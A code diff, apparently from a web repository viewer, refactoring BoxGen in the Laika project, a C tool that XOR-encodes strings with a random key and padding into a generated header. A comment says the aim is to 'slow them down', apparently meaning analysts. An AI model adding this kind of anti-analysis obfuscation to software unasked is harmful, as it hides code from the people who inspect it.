writeArray(out, data, LAIKA_VM_CODESIZE);
|
writeArray(out, data, LAIKA_VM_CODESIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
void writeDefineVal(FILE *out, char *ident, int data)
|
static void writeDefineVal(FILE *out, char *ident, int data)
|
||||||
{
|
{
|
||||||
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
||||||
}
|
}
|
||||||
|
|
||||||
void addPadding(uint8_t *data, int start)
|
static void addPadding(uint8_t *data, int start)
|
||||||
{
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
@@ -49,15 +50,15 @@ void addPadding(uint8_t *data, int start)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||||
{
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 0; i < sz; i++)
|
for (i = 0; i < sz; i++)
|
||||||
buff[i] = data[i] ^ key;
|
buff[i] = data[i] ^ key;
|
||||||
|
|
||||||
buff[i++] = key; /* add the null terminator */
|
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
|
||||||
addPadding(buff, i);
|
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
|
||||||
}
|
}
|
||||||
|
|
||||||
#define MAKESKIDDATA(macro) \
|
#define MAKESKIDDATA(macro) \
|
||||||
@@ -69,14 +70,17 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
|||||||
int main(int argv, char **argc)
|
int main(int argv, char **argc)
|
||||||
{
|
{
|
||||||
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
||||||
int key;
|
|
||||||
FILE *out;
|
FILE *out;
|
||||||
|
char *fileName;
|
||||||
|
int key;
|
||||||
|
|
||||||
if (argv < 2)
|
if (argv < 2)
|
||||||
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
|
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
|
||||||
|
|
||||||
if ((out = fopen(argc[1], "w+")) == NULL)
|
/* open output file */
|
||||||
ERR("Failed to open %s!\n", argc[1]);
|
fileName = argc[1];
|
||||||
|
if ((out = fopen(fileName, "w+")) == NULL)
|
||||||
|
ERR("Failed to open %s!\n", fileName);
|
||||||
|
|
||||||
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
|
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
|
||||||
slow them down */
|
slow them down */
|
||||||
@@ -100,8 +104,8 @@ int main(int argv, char **argc)
|
|||||||
fprintf(out, POSTAMBLE);
|
fprintf(out, POSTAMBLE);
|
||||||
fclose(out);
|
fclose(out);
|
||||||
|
|
||||||
printf("Wrote %s\n", argc[1]);
|
printf("Laika VMBox data header dumped to '%s'\n", fileName);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#undef MAKEDATA
|
#undef MAKESKIDDATA
|
||||||
|
|||||||
@@ -10,5 +10,3 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
|||||||
add_executable(vmTest ${VMTESTSOURCE})
|
add_executable(vmTest ${VMTESTSOURCE})
|
||||||
target_link_libraries(vmTest PUBLIC LaikaLib)
|
target_link_libraries(vmTest PUBLIC LaikaLib)
|
||||||
|
|
||||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
|
||||||
target_compile_definitions(vmTest PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
|
||||||
|
|||||||
Reference in New Issue
Block a user